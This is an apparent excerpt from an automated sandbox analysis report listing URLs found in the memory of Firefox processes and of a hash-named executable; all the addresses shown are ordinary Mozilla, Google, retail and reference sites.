Source: firefox.exe, 00000017.00000002.3196317991.000002A113549000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187767673.000002A112A1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112911000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-jsC:
Source: firefox.exe, 00000017.00000002.3196317991.000002A113549000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187767673.000002A112A1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112911000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A11138A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3164584285.000002A1113CA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11290A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112908000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelresource://services-settings/RemoteSettingsClien
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A1123EF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128253974.000002A100903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 00000017.00000002.3196854031.000002A11371E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3180523037.000002A112336000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/
Source: firefox.exe, 00000017.00000002.3180523037.000002A112377000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112249000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: firefox.exe, 00000017.00000002.3180523037.000002A112323000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: firefox.exe, 00000017.00000002.3186181011.000002A112899000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3050946120.000002A112899000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings
Source: firefox.exe, 00000017.00000002.3205379114.000002A11381C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2
Source: 5a0a40fcc4.exe, 00000009.00000003.3113228708.0000000005BE2000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 00000017.00000002.3180523037.000002A112323000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tc39.github.io/ecma262/#sec-typeof-operator
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 00000017.00000002.3168604978.000002A111AC0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 00000017.00000002.3142298865.000002A1104D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3128253974.000002A100903000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://truecolors.firefox.comhttps://addons.mozilla.orgtestPermissionFromPrincipalmaybeShowOnboardi
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3232539310.0000288267B0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://twitter.com/
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://webpack.js.org/concepts/mode/)
Source: firefox.exe, 00000017.00000002.3213720342.000002A1186FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3047163093.000002A1186FA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://weibo.com/
Source: firefox.exe, 00000017.00000003.3066362859.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3215598843.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3046935792.000002A118744000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3048782464.000002A11873E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3076711790.000002A118738000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3071853510.000002A118739000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://wicg.github.io/construct-stylesheets/#using-constructed-stylesheets).
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.aliexpress.com/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.ca/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.co.uk/
Source: firefox.exe, 00000017.00000002.3178365976.000002A1121DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3232539310.0000288267B0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112203000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3231785535.0000145788C00000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/
Source: 5a0a40fcc4.exe, 00000009.00000003.3115145912.0000000001456000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3119038459.00000147776C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004897407.000002A110260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004746392.000002A11023E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004570268.000002A11021D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 00000017.00000002.3187209410.000002A112976000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130809061.000002A10C1E8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3179199172.000002A112249000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill
Source: firefox.exe, 00000017.00000002.3187209410.000002A112988000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=utf-8&mode=blended&tag=mozill
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.de/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.amazon.fr/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.avito.ru/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.baidu.com/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bbc.co.uk/
Source: 5a0a40fcc4.exe, 00000009.00000003.3115145912.0000000001456000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110443000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A110406000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3142298865.000002A11047F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3130073493.000002A10C0AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.3119038459.00000147776C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116510955.0000014EE45E8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ctrip.com/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.co.uk/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ebay.de/
Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3232539310.0000288267B0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3166147320.000002A1115CB000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: firefox.exe, 00000017.00000002.3160186876.000002A1111DA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/
Source: firefox.exe, 00000017.00000003.3004382726.000002A110800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3005096766.000002A110281000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3153453999.000002A110BB0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000017.00000003.3004897407.000002A110260000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3166147320.000002A1115CB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004746392.000002A11023E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004570268.000002A11021D000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 5a0a40fcc4.exe, 00000009.00000003.3039741400.00000000059F9000.00000004.00000800.00020000.00000000.sdmp, 5a0a40fcc4.exe, 00000009.00000003.3045821093.00000000059F6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 00000017.00000002.3133352527.000002A10CA03000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/policies/privacy/media.gmp-manager.secondsBetweenChecksstartup
Source: firefox.exe, 00000017.00000002.3178365976.000002A1121DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004746392.000002A11023E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118883000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000003.3004570268.000002A11021D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CA25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 00000017.00000002.3136254233.000002A10DD91000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3216727039.000002A118852000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A11291B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/search?client=firefox-b-d&q=
Source: firefox.exe, 00000017.00000002.3135050577.000002A10D890000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.3116603096.0000014777430000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3116251770.0000014EE43C0000.00000002.08000000.00040000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ifeng.com/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3191075977.000002A112E0A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3133352527.000002A10CAE1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3228748763.000013329F904000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.iqiyi.com/
Source: firefox.exe, 00000017.00000002.3216727039.000002A118812000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000017.00000002.3187209410.000002A112967000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.leboncoin.fr/
